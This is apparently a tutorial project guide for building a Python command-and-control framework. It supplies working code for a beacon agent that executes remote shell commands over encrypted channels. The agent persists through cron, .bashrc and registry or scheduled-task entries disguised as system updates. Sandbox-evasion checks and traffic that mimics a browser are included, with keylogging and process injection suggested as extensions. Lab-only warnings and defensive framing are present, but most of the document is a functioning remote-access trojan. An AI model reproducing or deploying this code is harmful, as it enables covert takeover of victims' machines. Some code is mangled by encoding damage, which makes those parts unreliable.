Project 4: Build a Simple C2 (Command & Control) Framework
Project 4: Build a Simple C2 (Command & Control) Framework
Project Overview
| Attribute | Value |
|---|---|
| Difficulty | Intermediate-Advanced |
| Time Estimate | 2-3 weeks |
| Programming Language | Python |
| Primary Tool | Socket Programming, Encryption |
| Main Book | โBlack Hat Pythonโ by Justin Seitz |
| Knowledge Area | Malware Analysis / Networking |
Learning Objectives
By completing this project, you will:
- Understand adversary infrastructure - How real attackers maintain persistent access
- Master network programming - Client-server communication with encryption
- Learn evasion concepts - Why certain patterns trigger detection
- Build persistence mechanisms - How backdoors survive reboots
- Develop defensive awareness - Know what to look for as a defender
The Core Question
โHow do attackers maintain access to compromised systems and communicate with them covertly?โ
Building a C2 framework teaches you the most critical phase of advanced attacks: post-exploitation. Initial access is just the beginningโmaintaining control, receiving commands, and exfiltrating data is where real damage occurs. By building this yourself, youโll understand:
- How beacon/callback mechanisms work
- Why encrypted channels are essential
- What defenders monitor for
- How to detect C2 traffic in your own networks
Deep Theoretical Foundation
The Command & Control Lifecycle
C2 COMMUNICATION LIFECYCLE
โโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ATTACKER INFRASTRUCTURE โ
โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ C2 SERVER โ โ
โ โ โ โ
โ โ Components: โ โ
โ โ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โ โ
โ โ โ Listener โ โ Command โ โ Session โ โ โ
โ โ โ (Port 443) โ โ Queue โ โ Manager โ โ โ
โ โ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โ โ
โ โ โ โ
โ โ Capabilities: โ โ
โ โ โข Receive beacons from agents โ โ
โ โ โข Queue commands for execution โ โ
โ โ โข Track active sessions โ โ
โ โ โข Receive command output โ โ
โ โ โข Download exfiltrated files โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฒ
โ HTTPS (looks like normal traffic)
โ Every 60 seconds (configurable)
โ Encrypted payload
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ COMPROMISED NETWORK โ
โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ AGENT (Beacon) โ โ
โ โ โ โ
โ โ Running on victim machine as: โ โ
โ โ โข Scheduled task โ โ
โ โ โข Service โ โ
โ โ โข Startup program โ โ
โ โ โข In-memory only (advanced) โ โ
โ โ โ โ
โ โ Behavior: โ โ
โ โ 1. Sleep for configured interval โ โ
โ โ 2. "Beacon" to C2 server (check for commands) โ โ
โ โ 3. Execute any queued commands โ โ
โ โ 4. Return output to C2 โ โ
โ โ 5. Repeat โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ
โ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โ
โ โ Workstation โ โ Server โ โ Domain โ โ
โ โ Agent 1 โ โ Agent 2 โ โ Controller โ โ
โ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โ Agent 3 โ โ
โ โโโโโโโโโโโโโโโ โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ

Why C2 Works This Way
DESIGN PRINCIPLES OF C2 FRAMEWORKS
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
1. BEACONING (Agent initiates connection)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ Why agent connects TO server (not reverse): โ
โ โ
โ โ Server โ Agent (blocked by firewall) โ
โ Firewalls block inbound connections to workstations โ
โ โ
โ โ Agent โ Server (allowed by firewall) โ
โ Outbound HTTPS is almost always allowed โ
โ Looks like normal web browsing โ
โ โ
โ Beacon interval tradeoffs: โ
โ โข Fast (5 sec): Responsive but noisy, easily detected โ
โ โข Medium (60 sec): Good balance โ
โ โข Slow (hours): Very stealthy but delayed commands โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
2. ENCRYPTION (Avoid network detection)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ Plaintext C2 traffic: โ
โ GET /command HTTP/1.1 โ
โ ... โ
โ cmd=whoami โ IDS sees this! Blocked! โ
โ โ
โ Encrypted C2 traffic: โ
โ GET /api/v1/status HTTP/1.1 โ
โ ... โ
โ data=aGVsbG8gd29ybGQ... โ Just looks like API call โ
โ โ
โ Encryption provides: โ
โ โข Confidentiality: IDS can't read commands โ
โ โข Integrity: Tampering detected โ
โ โข Authenticity: Only our server accepted โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
3. PERSISTENCE (Survive reboots)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ Without persistence: โ
โ Victim reboots โ Agent process dies โ Access lost โ
โ โ
โ With persistence: โ
โ Victim reboots โ Persistence mechanism starts agent โ โ
โ Agent beacons โ Access maintained โ
โ โ
โ Common persistence methods: โ
โ โ
โ Linux: โ
โ โข Cron job: @reboot /path/to/agent โ
โ โข Systemd service โ
โ โข ~/.bashrc execution โ
โ โข SSH authorized_keys โ
โ โ
โ Windows: โ
โ โข Scheduled task โ
โ โข Registry Run key โ
โ โข Service installation โ
โ โข WMI event subscription โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
4. EVASION (Avoid detection)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ What defenders look for: โ
โ โ
โ Network level: โ
โ โข Regular beacon intervals (exactly 60 sec = suspicious) โ
โ โข Unusual domains/IPs โ
โ โข Large data transfers at odd hours โ
โ โข Protocol anomalies โ
โ โ
โ Host level: โ
โ โข New scheduled tasks/services โ
โ โข Unknown processes โ
โ โข Suspicious file locations โ
โ โข Registry modifications โ
โ โ
โ Evasion techniques: โ
โ โข Jittered beacon intervals (random 50-70 sec) โ
โ โข Domain fronting โ
โ โข Process injection (hide in legitimate process) โ
โ โข Fileless execution (memory only) โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
C2 Protocol Design
C2 COMMUNICATION PROTOCOL
โโโโโโโโโโโโโโโโโโโโโโโโโ
BEACON REQUEST (Agent โ Server)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ POST /api/v1/beacon HTTP/1.1 โ
โ Host: legitimate-looking-domain.com โ
โ User-Agent: Mozilla/5.0 (Windows NT 10.0) โ
โ Content-Type: application/json โ
โ โ
โ { โ
โ "id": "agent-uuid-here", // Unique agent identifier โ
โ "timestamp": 1703692800, // Current timestamp โ
โ "hostname": "WORKSTATION-01", // Victim hostname โ
โ "username": "john.doe", // Current user โ
โ "os": "Windows 10 Enterprise", // Operating system โ
โ "ip": "192.168.1.50", // Internal IP โ
โ "data": "base64-encoded-encrypted-output" // Command output โ
โ } โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
COMMAND RESPONSE (Server โ Agent)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ HTTP/1.1 200 OK โ
โ Content-Type: application/json โ
โ โ
โ { โ
โ "status": "ok", โ
โ "commands": [ โ
โ { โ
โ "id": "cmd-uuid-1", โ
โ "type": "shell", // Command type โ
โ "data": "base64-encoded-encrypted-command" โ
โ } โ
โ ], โ
โ "sleep": 60 // Next beacon interval โ
โ } โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
COMMAND TYPES
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ Type Description โ
โ โโโโ โโโโโโโโโโโ โ
โ shell Execute shell command, return output โ
โ download Download file from target to C2 โ
โ upload Upload file from C2 to target โ
โ screenshot Capture and send screenshot โ
โ keylogger Start/stop keylogger โ
โ persist Install persistence mechanism โ
โ sleep Change beacon interval โ
โ die Self-destruct agent โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Encryption for C2
ENCRYPTION ARCHITECTURE
โโโโโโโโโโโโโโโโโโโโโโโ
KEY EXCHANGE (Initial handshake)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ Agent Server โ
โ โ โ โ
โ โ 1. Generate RSA keypair โ โ
โ โ Public key embedded in agent โ โ
โ โ โ โ
โ โ 2. Generate AES session key โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโบโ โ
โ โ Encrypt session key with RSA pub โ โ
โ โ Send encrypted session key โ โ
โ โ โ โ
โ โ 3. Server decrypts with RSA priv โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค โ
โ โ Now both have same AES key โ โ
โ โ โ โ
โ โ 4. All further comms use AES โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโบโ โ
โ โ โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
AES ENCRYPTION (For each message)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ Plaintext command: "whoami" โ
โ โ
โ 1. Generate random IV (16 bytes) โ
โ 2. Encrypt with AES-256-CBC: โ
โ ciphertext = AES_encrypt(plaintext, key, iv) โ
โ 3. Combine: iv + ciphertext โ
โ 4. Base64 encode for transmission โ
โ โ
โ Result: "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo..." โ
โ โ
โ To decrypt: โ
โ 1. Base64 decode โ
โ 2. Extract IV (first 16 bytes) โ
โ 3. Decrypt remaining ciphertext with AES โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Project Specification
What Youโre Building
A functional C2 framework with client and server components:
c2-framework/
โโโ server/
โ โโโ server.py # Main C2 server
โ โโโ handlers.py # HTTP request handlers
โ โโโ sessions.py # Session management
โ โโโ commands.py # Command queue
โ โโโ crypto.py # Encryption utilities
โ โโโ web/
โ โโโ dashboard.html # Simple web UI
โโโ agent/
โ โโโ agent.py # Agent/beacon code
โ โโโ commands.py # Command execution
โ โโโ crypto.py # Encryption (same key)
โ โโโ persistence.py # Persistence mechanisms
โโโ shared/
โ โโโ protocol.py # Shared protocol definitions
โโโ keys/
โ โโโ server.key # Server private key
โ โโโ server.pub # Server public key (in agent)
โโโ requirements.txt
โโโ README.md
Functional Requirements
1. C2 Server
Must implement:
- HTTP/HTTPS listener on configurable port
- Session tracking (agent ID, last seen, hostname)
- Command queue per agent
- Receive and display command output
- Basic web UI showing connected agents
Should implement:
- Multiple listener support
- File download from agents
- File upload to agents
- Agent self-destruct command
Example commands:
# Start server
python server.py --port 443 --ssl
# In web UI or CLI:
> list # Show connected agents
> interact agent-uuid # Select an agent
> shell whoami # Execute command
> download /etc/passwd # Get file from agent
> upload payload.exe C:\temp # Send file to agent
> persist # Install persistence
> sleep 300 # Change beacon interval
> die # Kill agent
2. Agent/Beacon
Must implement:
- Beacon to server at configurable interval
- Receive and execute shell commands
- Return command output
- Handle connection failures gracefully
- Basic anti-analysis (check for VMs/debuggers)
Should implement:
- Encrypted communications
- File upload/download
- Screenshot capture
- Persistence installation
- Self-destruct capability
- Jittered beacon intervals
Agent behavior:
# Pseudocode
while True:
try:
# Check in with C2
response = beacon(server_url, agent_id)
# Execute any queued commands
for command in response.commands:
output = execute(command)
queue_output(command.id, output)
# Wait before next beacon
sleep(response.sleep + random_jitter())
except ConnectionError:
# Server unreachable, keep trying
sleep(fallback_interval)
3. Encryption Layer
Must implement:
- AES-256 encryption for all payloads
- Key exchange on first beacon
- Base64 encoding for transport
Should implement:
- RSA for initial key exchange
- Message authentication (HMAC)
- Key rotation
Non-Functional Requirements
- Stealth: Traffic should look like normal web traffic
- Reliability: Agent should reconnect after network issues
- Portability: Agent should work on Linux and Windows
- Modularity: Easy to add new commands
Solution Architecture
Component Design
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ C2 SERVER โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ HTTP Listener (Flask) โ
โ โ - Handles beacon requests โ
โ โ - Serves commands to agents โ
โ โ - Receives output โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ Session Manager โ
โ โ - Tracks connected agents โ
โ โ - Stores agent metadata โ
โ โ - Manages session keys โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ Command Queue โ
โ โ - Stores pending commands per agent โ
โ โ - Retrieves commands for beacon response โ
โ โ - Stores command output โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ Web Dashboard โ
โ - Display connected agents โ
โ - Queue commands โ
โ - View output โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ AGENT โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ Beacon Module โ
โ โ - HTTPS POST to server โ
โ โ - Send agent info and output โ
โ โ - Receive commands โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ Command Executor โ
โ โ - Parse received commands โ
โ โ - Execute shell commands โ
โ โ - Handle file operations โ
โ โ - Return output โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ Crypto Module โ
โ โ - Encrypt outgoing data โ
โ โ - Decrypt incoming commands โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ Persistence Module โ
โ - Install persistence mechanisms โ
โ - Verify persistence is working โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Key Data Structures
@dataclass
class Agent:
id: str # UUID
hostname: str
username: str
os: str
ip: str
first_seen: datetime
last_seen: datetime
session_key: bytes # AES key for this agent
status: str # active, dormant, dead
@dataclass
class Command:
id: str # UUID
agent_id: str
command_type: str # shell, download, upload, etc.
data: str # Encrypted command data
status: str # pending, sent, completed
output: Optional[str] # Encrypted output
created_at: datetime
completed_at: Optional[datetime]
@dataclass
class BeaconRequest:
agent_id: str
timestamp: int
hostname: str
username: str
os: str
ip: str
output: List[CommandOutput] # Results from previous commands
@dataclass
class BeaconResponse:
status: str
commands: List[Command]
sleep: int # Next beacon interval
Phased Implementation Guide
Phase 1: Basic Server and Agent Communication (Days 1-3)
Goal: Agent can beacon to server, server tracks agents
- Create basic HTTP server:
```python
server/server.py
from flask import Flask, request, jsonify from datetime import datetime import uuid
app = Flask(name) agents = {} # Store connected agents
@app.route(โ/api/v1/beaconโ, methods=[โPOSTโ]) def beacon(): data = request.json
agent_id = data.get('id')
if not agent_id:
agent_id = str(uuid.uuid4())
# Update or create agent record
agents[agent_id] = {
'id': agent_id,
'hostname': data.get('hostname'),
'username': data.get('username'),
'os': data.get('os'),
'ip': request.remote_addr,
'last_seen': datetime.now().isoformat()
}
print(f"[+] Beacon from {agent_id}: {agents[agent_id]['hostname']}")
return jsonify({
'status': 'ok',
'id': agent_id,
'commands': [],
'sleep': 60
})
@app.route(โ/api/v1/agentsโ, methods=[โGETโ]) def list_agents(): return jsonify(list(agents.values()))
if name == โmainโ: app.run(host=โ0.0.0.0โ, port=8080, debug=True)
2. **Create basic agent**:
```python
# agent/agent.py
import requests
import socket
import platform
import time
import uuid
import os
class Agent:
def __init__(self, server_url):
self.server_url = server_url
self.agent_id = str(uuid.uuid4())
self.sleep_interval = 60
def get_system_info(self):
return {
'id': self.agent_id,
'hostname': socket.gethostname(),
'username': os.getlogin(),
'os': f"{platform.system()} {platform.release()}",
'ip': socket.gethostbyname(socket.gethostname())
}
def beacon(self):
try:
data = self.get_system_info()
response = requests.post(
f"{self.server_url}/api/v1/beacon",
json=data,
timeout=30
)
result = response.json()
self.sleep_interval = result.get('sleep', 60)
return result
except Exception as e:
print(f"[-] Beacon failed: {e}")
return None
def run(self):
print(f"[*] Agent started, ID: {self.agent_id}")
while True:
self.beacon()
time.sleep(self.sleep_interval)
if __name__ == '__main__':
agent = Agent('http://YOUR_SERVER_IP:8080')
agent.run()
Verification: Start server, run agent, see beacon in server logs
Phase 2: Command Execution (Days 3-5)
Goal: Server can queue commands, agent executes them
- Add command queue to server:
```python
server/commands.py
from collections import defaultdict import uuid
command_queue = defaultdict(list) # agent_id -> [commands] command_results = {} # command_id -> result
def queue_command(agent_id: str, command_type: str, data: str) -> str: command_id = str(uuid.uuid4()) command_queue[agent_id].append({ โidโ: command_id, โtypeโ: command_type, โdataโ: data }) return command_id
def get_pending_commands(agent_id: str) -> list: commands = command_queue[agent_id] command_queue[agent_id] = [] # Clear after retrieval return commands
def store_result(command_id: str, output: str): command_results[command_id] = output
2. **Update server to send commands**:
```python
@app.route('/api/v1/beacon', methods=['POST'])
def beacon():
data = request.json
agent_id = data.get('id')
# Store any command results from agent
for result in data.get('results', []):
store_result(result['id'], result['output'])
# Get pending commands for this agent
commands = get_pending_commands(agent_id)
return jsonify({
'status': 'ok',
'commands': commands,
'sleep': 60
})
- Add command execution to agent:
```python
agent/commands.py
import subprocess import os
def execute_command(command_type: str, data: str) -> str: if command_type == โshellโ: return execute_shell(data) elif command_type == โdownloadโ: return download_file(data) # Add more command types return โUnknown command typeโ
def execute_shell(command: str) -> str: try: result = subprocess.run( command, shell=True, capture_output=True, text=True, timeout=30 ) return result.stdout + result.stderr except subprocess.TimeoutExpired: return โCommand timed outโ except Exception as e: return fโError: {str(e)}โ
4. **Update agent to process commands**:
```python
def beacon(self):
try:
data = self.get_system_info()
data['results'] = self.pending_results
self.pending_results = []
response = requests.post(
f"{self.server_url}/api/v1/beacon",
json=data,
timeout=30
)
result = response.json()
# Execute received commands
for cmd in result.get('commands', []):
output = execute_command(cmd['type'], cmd['data'])
self.pending_results.append({
'id': cmd['id'],
'output': output
})
self.sleep_interval = result.get('sleep', 60)
return result
except Exception as e:
print(f"[-] Beacon failed: {e}")
return None
Verification: Queue โwhoamiโ command, see output in server
Phase 3: Encryption Layer (Days 5-8)
Goal: All communications encrypted with AES
- Create encryption module:
```python
shared/crypto.py
from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad import base64
class AESCipher: def init(self, key: bytes = None): self.key = key or get_random_bytes(32) # AES-256
def encrypt(self, plaintext: str) -> str:
iv = get_random_bytes(16)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
padded_data = pad(plaintext.encode(), AES.block_size)
encrypted = cipher.encrypt(padded_data)
return base64.b64encode(iv + encrypted).decode()
def decrypt(self, ciphertext: str) -> str:
data = base64.b64decode(ciphertext)
iv = data[:16]
encrypted = data[16:]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(encrypted), AES.block_size)
return decrypted.decode()
For key exchange, use RSA
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP
def generate_rsa_keypair(): key = RSA.generate(2048) return key.export_key(), key.publickey().export_key()
def encrypt_with_rsa(public_key: bytes, data: bytes) -> bytes: key = RSA.import_key(public_key) cipher = PKCS1_OAEP.new(key) return cipher.encrypt(data)
def decrypt_with_rsa(private_key: bytes, encrypted: bytes) -> bytes: key = RSA.import_key(private_key) cipher = PKCS1_OAEP.new(key) return cipher.decrypt(encrypted)
2. **Implement key exchange**:
```python
# Agent first beacon includes encrypted session key
def initial_beacon(self):
# Generate session key
self.session_key = get_random_bytes(32)
# Encrypt session key with server's public key
encrypted_key = encrypt_with_rsa(
self.server_public_key,
self.session_key
)
data = {
'type': 'key_exchange',
'key': base64.b64encode(encrypted_key).decode()
}
response = requests.post(
f"{self.server_url}/api/v1/beacon",
json=data
)
# Now use AES for all future communications
- Encrypt all payloads:
# In agent def beacon(self): data = self.get_system_info() encrypted_data = self.cipher.encrypt(json.dumps(data)) response = requests.post( f"{self.server_url}/api/v1/beacon", json={'data': encrypted_data}, timeout=30 ) encrypted_response = response.json()['data'] result = json.loads(self.cipher.decrypt(encrypted_response)) # Process result...
Verification: Capture traffic in Wireshark, confirm itโs encrypted
Phase 4: Persistence Mechanisms (Days 8-10)
Goal: Agent survives reboots
- Linux persistence:
```python
agent/persistence.py
import os import shutil
def install_cron_persistence(): โ"โInstall cron job for persistenceโโโ agent_path = os.path.abspath(file) cron_line = fโ@reboot python3 {agent_path}\nโ
# Add to user's crontab
cron_file = f"/tmp/cron_{os.getuid()}"
os.system(f"crontab -l > {cron_file} 2>/dev/null")
with open(cron_file, 'a') as f:
f.write(cron_line)
os.system(f"crontab {cron_file}")
os.remove(cron_file)
return "Cron persistence installed"
def install_bashrc_persistence(): โ"โAdd to .bashrc for persistenceโโโ agent_path = os.path.abspath(file) bashrc = os.path.expanduser(โ~/.bashrcโ)
with open(bashrc, 'a') as f:
f.write(f"\n# System update\npython3 {agent_path} &\n")
return "Bashrc persistence installed" ```
-
Windows persistence: ```python def install_registry_persistence(): โ"โAdd to Windows registry Run keyโโโ import winreg
agent_path = os.path.abspath(file) key = winreg.OpenKey( winreg.HKEY_CURRENT_USER, rโSoftware\Microsoft\Windows\CurrentVersion\Runโ, 0, winreg.KEY_SET_VALUE ) winreg.SetValueEx(key, โWindowsUpdateโ, 0, winreg.REG_SZ, fโpythonw.exe {agent_path}โ) winreg.CloseKey(key) return โRegistry persistence installedโ
def install_scheduled_task(): โ"โCreate scheduled task for persistenceโโโ import subprocess agent_path = os.path.abspath(file)
cmd = f'''schtasks /create /tn "WindowsUpdate" /tr "pythonw.exe {agent_path}" /sc onlogon /ru %USERNAME%'''
subprocess.run(cmd, shell=True, capture_output=True)
return "Scheduled task created" ```
Verification: Install persistence, reboot VM, confirm agent reconnects
Phase 5: Web Dashboard (Days 10-12)
Goal: Visual interface for managing agents
- Create dashboard HTML: ```html <!DOCTYPE html>
C2 Dashboard
Connected Agents
Command
Output
**Verification**: Access dashboard, see agents, send commands
### Phase 6: Evasion and Hardening (Days 12-14)
**Goal**: Make C2 traffic harder to detect
1. **Add jitter to beacon intervals**:
```python
import random
def get_sleep_with_jitter(base_sleep: int) -> int:
"""Add 20% jitter to sleep interval"""
jitter = base_sleep * 0.2
return int(base_sleep + random.uniform(-jitter, jitter))
- Make requests look like normal traffic:
def beacon(self): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'en-US,en;q=0.9', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', } response = requests.post( f"{self.server_url}/api/v1/beacon", json=encrypted_data, headers=headers, timeout=30 ) -
Add basic anti-analysis: ```python def check_sandbox(): โ"โBasic sandbox/VM detectionโโโ # Check for common VM artifacts import subprocess
# Check hostname hostname = socket.gethostname().lower() vm_names = [โsandboxโ, โmalwareโ, โvirusโ, โsampleโ] if any(vm in hostname for vm in vm_names): return True
# Check for VM processes (Windows) if platform.system() == โWindowsโ: vm_processes = [โvboxserviceโ, โvmwaretrayโ, โvmwareuserโ] result = subprocess.run(โtasklistโ, capture_output=True, text=True) if any(proc in result.stdout.lower() for proc in vm_processes): return True
return False
In agent main:
if check_sandbox(): sys.exit(0) # Donโt run in sandbox
---
## Testing Strategy
### Unit Tests
```python
# test_crypto.py
def test_aes_encryption():
cipher = AESCipher()
plaintext = "test message"
encrypted = cipher.encrypt(plaintext)
decrypted = cipher.decrypt(encrypted)
assert decrypted == plaintext
def test_key_exchange():
priv, pub = generate_rsa_keypair()
session_key = get_random_bytes(32)
encrypted = encrypt_with_rsa(pub, session_key)
decrypted = decrypt_with_rsa(priv, encrypted)
assert decrypted == session_key
Integration Tests
- Full beacon cycle:
- Start server
- Start agent
- Verify beacon received
- Queue command
- Verify execution and output
- Persistence tests:
- Install persistence
- Reboot VM
- Verify agent reconnects
- Encryption verification:
- Capture traffic with Wireshark
- Confirm no plaintext commands visible
Common Pitfalls and Debugging
1. โAgent canโt connect to serverโ
Debug steps:
- Check firewall rules on server
- Verify correct IP/port
- Test with curl:
curl -X POST http://server:8080/api/v1/beacon -d '{}' - Check for VPN issues if using HTB-style network
2. โEncryption failingโ
Debug steps:
- Verify both sides have same key
- Check padding (AES requires block-aligned data)
- Verify base64 encoding/decoding
3. โCommands not executingโ
Debug steps:
- Check command queue is being populated
- Verify agent is parsing response correctly
- Add debug logging to command executor
4. โPersistence not workingโ
Debug steps:
- Verify file paths are absolute
- Check permissions on startup locations
- Test manually before automating
Extensions and Challenges
Beginner Extensions
- Screenshot capture: Take and send screenshots
- Keylogger: Capture keystrokes
- File browser: List directory contents
Intermediate Extensions
- Proxy/pivot: Route traffic through agent
- Multiple C2 servers: Failover if primary down
- Domain fronting: Hide C2 behind CDN
Advanced Extensions
- Process injection: Inject into legitimate process
- Fileless operation: Run entirely in memory
- Protocol over DNS: C2 over DNS queries
- Staged payload: Download full agent after small dropper
Real-World Connections
Commercial C2 Frameworks
Your project is a simplified version of:
- Cobalt Strike - Industry standard red team C2
- Metasploit - Open source framework
- Sliver - Modern open source C2
- Empire - PowerShell-focused C2
Defensive Applications
Understanding C2 helps defenders:
- Write better detection rules
- Understand attacker TTPs
- Hunt for C2 traffic in networks
- Develop incident response procedures
Self-Assessment Checklist
Core Functionality
- Agent beacons to server reliably
- Server tracks connected agents
- Commands execute and return output
- Communications are encrypted
- Persistence survives reboot
Code Quality
- Modular design (easy to add commands)
- Error handling (doesnโt crash on failures)
- Configuration options (ports, intervals)
- Logging for debugging
Understanding
- Can explain beacon/callback model
- Understand encryption implementation
- Know common persistence mechanisms
- Understand what defenders look for
Security
- Never test on systems you donโt own
- Only use in controlled lab environments
- Understand legal implications
Resources
Primary Reading
- โBlack Hat Pythonโ by Justin Seitz - Chapters 2-4
- โPenetration Testingโ by Georgia Weidman - Chapter 12
- โSerious Cryptographyโ by Jean-Philippe Aumasson - Chapters 4-5
C2 Framework Study
- Sliver C2 Source Code - Modern open source C2
- Merlin C2 - Go-based C2 framework
